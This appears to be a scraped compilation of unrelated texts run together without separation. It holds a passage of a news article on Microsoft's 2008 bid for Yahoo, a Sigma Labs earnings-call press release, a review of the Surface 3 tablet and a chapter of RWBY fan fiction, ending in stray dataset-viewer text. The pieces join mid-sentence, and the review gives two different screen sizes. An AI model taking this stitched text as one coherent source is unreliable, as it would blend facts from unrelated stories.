Yahoo said in a news release Friday that its board would evaluate Microsoft’s bid “carefully and promptly in the context of Yahoo’s strategic plans.”
In a letter to Yahoo’s board, Mr. Ballmer wrote that the two companies discussed a possible merger, as well as other ways to work together, in late 2006 and 2007. Mr. Ballmer said that in February 2007, Yahoo decided to end the merger discussions because its board was confident in the company’s “potential upside.”
“A year has gone by, and the competitive situation has not improved,” Mr. Ballmer wrote.
As a result, he said, “while a commercial partnership may have made sense at one time, Microsoft believes that the only alternative now is the combination of Microsoft and Yahoo that we are proposing.”
Mr. Ballmer met several times in late 2006 and 2007 with Terry S. Semel, then Yahoo’s chief executive, people involved in the talks said. While the talks — originally focused on the prospect of a merger or a joint venture — were initially constructive and appeared to move forward, they quickly broke down, these people said.
After a series of secret meetings between both sides in hotels around California and elsewhere, Mr. Semel and Yahoo’s board decided against progressing with the talks, betting that its stock would turn around as it introduced a new advertising system called Panama, these people said. Mr. Yang, in particular, was adamantly against selling the company to Microsoft and championed the view of remaining independent, they added.
Photo
Mr. Ballmer constantly consulted with Bill Gates, the Microsoft chairman, about the progress of the negotiations, people close to the company said, and when the talks collapsed, he decided to wait to see the fate of Yahoo’s stock price. As the stock continued to fall, they said, Microsoft’s management became emboldened and began internal meeting in late 2007 about the prospect of making a hostile bid.
Advertisement Continue reading the main story
Despite their heavy investments in online services, both Yahoo and Microsoft have watched Google extend its dominance over Internet search and the lucrative online advertising business that goes along with it.
“No one can compete with Google on their own any more,” said Jon Miller, the former chairman and chief executive of AOL. “There has to be consolidation among the major players. It has been a long time coming, and now it is here.”
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
In recent months, Yahoo has struggled to develop a plan to turn around the company under Mr. Yang, its co-founder, who was appointed chief executive amid growing shareholder dissatisfaction last June.
Yahoo investors, however, remain skeptical. The company’s shares have slumped, and the closing price on Thursday was 44 percent below its 52-week high.
Yahoo’s shares closed Friday up 48 percent, to $28.38. Microsoft’s shares were down nearly 7 percent, and Google’s shares declined nearly 9 percent.
Microsoft, like Yahoo, has faced an uphill battle against Google. The company invested heavily to build its own search engine and advertising technology. Last year, it spent $6 billion to acquire the online advertising specialist aQuantive. Microsoft’s online services unit has been growing, but remains unprofitable.
Meanwhile, Google’s share of the search market and of the overall online advertising business has continued to grow.
Announcing its quarterly earnings earlier this week, Yahoo said it would cut 1,000 jobs in an effort to refocus the company and reduce spending, and issued an outlook for 2008 that disappointed investors.
Advertisement Continue reading the main story
The timing of Microsoft’s bid could allow the company to mount a proxy contest for control of Yahoo’s board should it try to dismiss the offer. Microsoft has discussed the prospect of mounting such a campaign, people close to the company said, and has until March 13 to propose a slate.
In his letter to Yahoo’s board, Mr. Ballmer wrote, “Depending on the nature of your response, Microsoft reserves the right to pursue all necessary steps to ensure that Yahoo’s shareholders are provided with the opportunity to realize the value inherent in our proposal.”
On Thursday night, Yahoo announced that Mr. Semel, its nonexecutive chairman and former chief executive, was leaving the board. Under Mr. Semel, a long-time Hollywood studio executive who ran Yahoo from 2001 to 2007, the company became more focused on its advertising and media businesses, but was unable to keep up with Google’s challenge in Web search and advertising and with the rise of social networking sites such as MySpace and Facebook.
A longtime board member, Roy J. Bostock, has been named nonexecutive chairman, Yahoo said.
Microsoft said it believes the Yahoo transaction could receive the necessary regulatory approvals in time to close by the second half of this year.SANTA FE, N.M., July 27, 2015 (GLOBE NEWSWIRE) -- Sigma Labs, Inc. (OTCQB:SGLB) ("Sigma Labs" or the "Company"), a developer of advanced, in process, non-destructive quality inspection systems for metal-based additive manufacturing and other advanced manufacturing technologies, today announced that it will host a conference call to discuss the financial results for the Company's second quarter of fiscal 2015. The conference call will be held Friday, August 7, 2015, at 11:00 a.m. Eastern Time. Sigma Labs plans to release the Company's 2015 second quarter results prior to market open that same day, August 7, 2015.
To participate in the call, please dial toll free 1-888-243-4451, or 1-412-542-4135, approximately five minutes before the conference call time stated above. A live webcast of the call can also be accessed on the Sigma Labs website at www.sigmalabsinc.com. A recording will be available on the Company's website upon completion of the call.
About Sigma Labs, Inc.
Sigma Labs, Inc., through its wholly-owned subsidiary B6 Sigma, Inc., develops and engineers advanced, in-process, non-destructive quality inspection systems for commercial firms worldwide seeking productive solutions for metal-based additive manufacturing or 3D printing, and other advanced manufacturing technologies. For more information please visit us at www.sigmalabsinc.com.
Investor Relations Contact: Chris Witty cwitty@darrowir.com 646-438-9385Launching back in 2015 for only $499, the Surface 3 was Microsoft's cheaper alternative to the Surface Pro 3. It rocks the same excellent build quality and a lower price, at the expense of specifications. The Surface 3 wasn't as successful as the Surface Pro 3, but it did allow new users to experience Surface at a much lower cost. It's been almost two years since that launch, however, meaning the industry has moved forward, and specs from back then most likely no longer hold up well compared to modern-day alternatives. That's true, but the Surface 3 hasn't actually aged all that bad. It already launched with a pretty low-spec CPU, an Intel ATOM to be exact, so even in 2015 you were going to be getting subpar performance compared to an Intel Core M or Core i3 chip. Unfortunately, Microsoft has yet to update its non-pro line of Surface devices, meaning the Surface 3 is still the entry-level Surface for new customers who want to dip their toes into Microsoft's flagship brand. So how does the Surface 3 hold up in 2017, and is it still a good starter device for new users looking to make the switch? Let's find out.
Performance First and foremost, performance is important, and as we know, the Surface 3 is no powerhouse. Rocking an Intel ATOM x7 CPU with either 2GB or 4GB of RAM, the Surface 3 was meant to be good for light multitasking, web browsing, email and word processing. It wasn't a device in which you could edit video on the go, as that was the sort of task for a Surface Pro 3. That wasn't what the Surface 3 was for anyway, and Microsoft positioned the Surface 3 as a productivity device, on that was good for students or those who work in Microsoft Office. And it really was. Even in 2017, the Surface 3 holds up in this regard. In fact, thanks to Windows 10, performance has gotten slightly better compared Windows 8.1. Microsoft has done a lot of work under the hood of Windows 10 to make it work great on low-end hardware, and this directly benefits devices like the Surface 3. It still chokes when multitasking with more than a few apps at a time, but if you're just doing simple things like writing up a document while listening to some music and browsing the web, the Surface 3 holds up fine. That's the extent of your usage scenario, however. Pushing the Surface 3 any more will cause some noticeable slowdowns. Although better, Windows 10 hasn't perfected everything. Installing updates still takes much longer than on more modern hardware for the same price, and sometimes apps can take a few extra seconds loading, which adds up over time. I've also noticed that sometimes, although rarely, the Start Menu won't open on your first try. It takes a second or third click before Windows decides to actually open Start.
Battery life is exceptional. I constantly achieve nine or 10 hours on a single charge with the Surface 3, and even more when using it lightly. This makes it an excellent device for when you're on the go, as you won't have to carry around a charger just in case you run low on juice. It should get you through the workday just fine. Speaking of charging, the Surface 3 is rocking a MicroUSB charging port rather than the USB-C you'd expect from a device like this in 2017. Since it launched in 2015, however, micro USB is what you get. Sure, it feels old now, but it's something I can live with considering I still have so many micro-USB chargers lying around. One of the biggest gripes I have with the Surface 3 is that it takes an unusually long time to charge. Even with the official Surface 3 charger, it can take up to two hours to fully charge from around 10 percent battery. That's super slow when you consider newer devices with USB-C and quick charge can juice up a battery in less than an hour. It's an annoyance more than anything but still something to take note of. Build quality Now, one thing Surface gets phenomenally right is build quality, and the Surface 3 is no exception. With the Surface 3 essentially being a cheaper Surface Pro 3, Microsoft had to cut back somewhere to keep costs low. As we can tell by the Intel ATOM chip inside, Microsoft decided to cut back on specs rather than materials used to build the device. As a result, the Surface 3 feels exactly like a Surface Pro device, sporting that super premium magnesium chassis and a gorgeous 10.8-inch, 1920x1200 screen with three-position kickstand.
That 10.6-inch screen is very nice, and with it being a 3:2 aspect ratio, it makes for excellent viewing in portrait mode as well as landscape mode. With the upcoming Windows 10 Creators Update, Microsoft is building in a bookstore, and books will look great on this screen. When in landscape mode, the 3:2 aspect ratio makes everything feel less cramped compared to a more traditional 16:9 aspect ratio screen. One of the benefits of using an Intel ATOM chip is that it doesn't require a fan to keep cool, meaning Microsoft kept the Surface 3 incredibly thin and without that odd vent cutout you find on both the Surface Pro 3 and Surface Pro 4. This makes the Surface 3 feel like one solid block, which makes for an excellent premium experience when holding the device. Moving onto the kickstand, an important element on any Surface because it allows the device to stand upright. Although not the same infinity kickstand found on the Surface Pro 3 and Surface Pro 4, the Surface 3 offers three positions, which should be just fine for most people. In addition, Microsoft also offers Type Covers designed specifically for the smaller Surface, which are excellent for people who want to write using the Surface 3. Unfortunately, Microsoft hasn't updated the Surface 3 Type Covers since they launched, meaning they still use the older Type Cover design and layout rather than the new design and layout found on the Surface Pro 4 Type Covers. This also means there's no way of adding Windows Hello to the Surface 3, because there's no fingerprint option on the Type Covers for the Surface 3. This is where the Surface 3 starts to feel like it's been left behind. No Windows Hello and no accessory updates since it launched make for an experience that feels like it came from two years ago.Chapter 5: Wandering the forest.
A friendship forged in battle is a nigh unbreakable bond. A friendship born of overcoming differences
between the sides is oftentimes even stronger. It is also more fun to write about.
The Emerald Forest is not the kind of place one would ever willingly wander in. The largest forest in all of Remnant, it stretches for hundreds of square kilometers, and every square meter is chock-full of danger. Cliffs blending in beneath the woodwork, pitfalls hidden under the dense grass and forestation, wildlife fiercely defending their domains. Yet worst of all are the monsters of Grimm, who swarm this forest and come in many shapes and forms. Whether it's your standard issue Beowolves, hunting in packs and driving their prey to exhaustion before ripping it apart, whether it's the Boarbatusks, always eager to skewer their enemies on their razor-sharp tusks or turn their bones into mush with their spinal plating, whether it's the graceful, cat-like Cheshers, hiding in ambush and striking when their victim cannot see them, Kelpies that can bite a man's head clean off or shatter their ribcage into fine dust under their hooves, or other, even more sinister specimens. The point is, it's a dangerous place to be, and no sane man or woman should ever set foot here lest they perish forever and ever and their corpse never be found. As such, it would be quite surprising, shocking, even, to see a pair of girls no older than seventeen running at breakneck speed through the woods, with one hopping between the tree branches with an outright feline grace, while the other, built far sturdier, was straight up charging through, knocking down occasional tree and tearing through the shrubbery.
Even stranger, however, would be their destination, some place yet unseen by the two, yet from the sounds it was easily deductible that there was a battle raging: anguished howls of Grimm being torn apart, the whirling of steel, the cracking of bones of Beowolves being flung around like muppets and the creaking of trees falling down because of it. And indeed, as Blake and Yang began maneuvering between some of the felled trees, they began to catch stray glimpses of the battlefield, or, to be precise, the slaughterhouse. A thick layer of ash was covering a small clearing beneath the woods, with dozens of Beowolves just raring to get their turn and jump into the fray; and in the middle, a lone figure leaping to and fro, wreaking havoc upon the opposition: a pair of great sickles merging together and breaking apart so frequently it was as if Darius was wielding not one, not two, but three weapons at once, all enveloped in thick black fog dripping off of them and towards the ground, dissipating moments before reaching the soil. Darius' fighting style was savage, almost erratic even: vanishing in a puff of smoke and reappearing meters away to slice at another Grimm, it was almost as if a wild animal was throwing itself at the steel bars of its cage, desperate to break out. Yet behind his every move, every step and every swing, there was terrifying precision and unearthly strength: each step put him the exact right distance from his target to either evade their blows by a hair or position himself into ideal striking range; every blow was finding its target and if not killing it, crippling it terribly. Every spin and swap measured out and fluid; a deadly stream of shadows and steel, sweeping up everything in its way. And then there was the black mist surrounding his figure, swirling around him like a vortex and changing shapes by the second, sometimes funneling as a burst of flame, evaporating whatever happened to be in its path, sometimes lashing out like a shadowy tendril, either outright destroying the stray Grimm, or immobilizing them long enough for the man to follow up with an executioner's strike, sometimes surging off the blades of his scythes as a wave of energy, rending reality itself.
Yet as the two watched on, for about two minutes now, Darius did not stop for a second to pause and catch his breath or re-ascertain the situation; instead, with every Grimm he felled, with every corpse that dissipated into ashes under the soles of his boots, his bloodlust, that terrible flame burning up inside him, seemed to burn ever brighter, demanding he move faster, strike harder, push himself further, kill more and more, until there was nothing. The two of them had to intervene.
Blake and Yang exchanged glances as the former made sure the latter was ready to make a move. After that, Blake took aim with her pistol and unloaded a shot directly into the head of one of the Beowolves, causing it to burst like an overly ripe watermelon slammed into the ground with great force. She was ready for Darius to react somehow to her sudden intervention, maybe turn around and lose his guard for a moment, leaving himself open to the other Grimm, and she was prepared to move in and assist. What she did not expect, however, was that he would simply turn around and slash in their general direction with the blade of his conjoined scythe, loosing another wave of dark energy, slicing the tree she was sitting on clear in half and decimating about two Beowolves in front of them. And while she was able to swiftly jump off the branch she was perched on, evading the attack, Yang had taken the brunt of it and was promptly tossed several meters away, saved only by her aura. Unfortunately, she had no time to check on her newly acquired partner as another pair of monsters had taken the place of the fallen, charging directly at her.
One of the creatures had pounced at her from several meters of distance and slashed directly at her face… and then landed directly on its own as its target turned out to be a mere decoy, with the real Blake appearing right behind it and beheading it with a well-aimed strike. Without pausing for a heartbeat, she unsheathed the Gambol Shroud and turned around, pressing the trigger right as the second Beowolf began swinging at her, decking it into the occipital plating and staggering it for a second, just enough for her to finish it off with the swing of her cleaver-like sheath. She heard a gunshot going off behind her; a second later Yang came flying out from the depths of the forest, propelled by the sheer force of the shotguns in her gauntlets, and rammed her fist square into the face of one of the larger monsters, exploding it with the incredible force of a shotgun-propelled punch.
With all three of them in the fight, the culling of Grimm proceeded at a much faster pace as the trio was chewing through the opposition: Blake's improvised kusarigama had formed a killzone of about two meters in radius around her, slicing up anything that dared enter, Yang was leaping between targets driving them into the ground with a singular punch, which then propelled her in the direction of a new victim, while the omnidirectional meat grinder that was Darius sowed death with the mix of steel, Semblance and pure rage. One by one the pack members were either crushed, sliced, or fled on their own, leaving only the three of them.
But as Blake thought the fight was finally over and she could breathe out, she heard a metal boot pound the earth behind her and the sound of steel whizzing through air close in on her. On pure reflexes, she engaged her Semblance and dashed to the right of her, watching a shadow clone of herself be sliced clear in two by a massive curved blade, and before she knew it, the scythe had gone a full circle around Darius and swung at her once again, leaving her barely enough time to pull her blade up to block. Struck with terrible force, she was flung into the air like a soccer ball, and again, she just barely managed to twist her body to not fly headfirst into a tree and land safely. She saw Darius make a step towards her and was prepared to continue dodging, but suddenly the figure turned around and slammed the scythe downwards behind him… and was stopped mid-swing by Yang grabbing hold of it millimeters in front of her face.
"Calm down, Darius! It's over, we're not Grimm!"
To a wayside observer the fight would seem to have entered a stalemate, but Blake could see Yang's arms slowly giving in, micron by micron, as Darius' entire body mass and strength struggled to bring the blade down. For three seconds the clinch continued… and then he stopped, dazedly staggering away from the blonde and dropping to his knees, reaching for his face and ripping the mask off.
"Dear Light… I'm so… so sorry..."
For about five seconds he was gasping for air, before finally normalizing his breath and standing back up, with the mask back on his face. With a hand pressed against his forehead, he muttered, answering the silent question on the lips of both girls:
"My apologies… I'm… I'm not used to working with people… and I tend to get caught up in the fighting. I hope you weren't hurt?"
"No, we're fine. You alright?"
Finally confident enough to close the distance, Blake left the woodwork and neared the figure in the cape, the cloth now more resembling a torturer's outfit than Hunter's attire. His breath still heavy, he turned his head to face her, but it wasn't Darius' gray eyes staring at her. Instead, Blake was looking at two pools of liquid darkness, thick as night. Taken aback on pure reflexes, she asked another question:
"What's with your eyes? |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.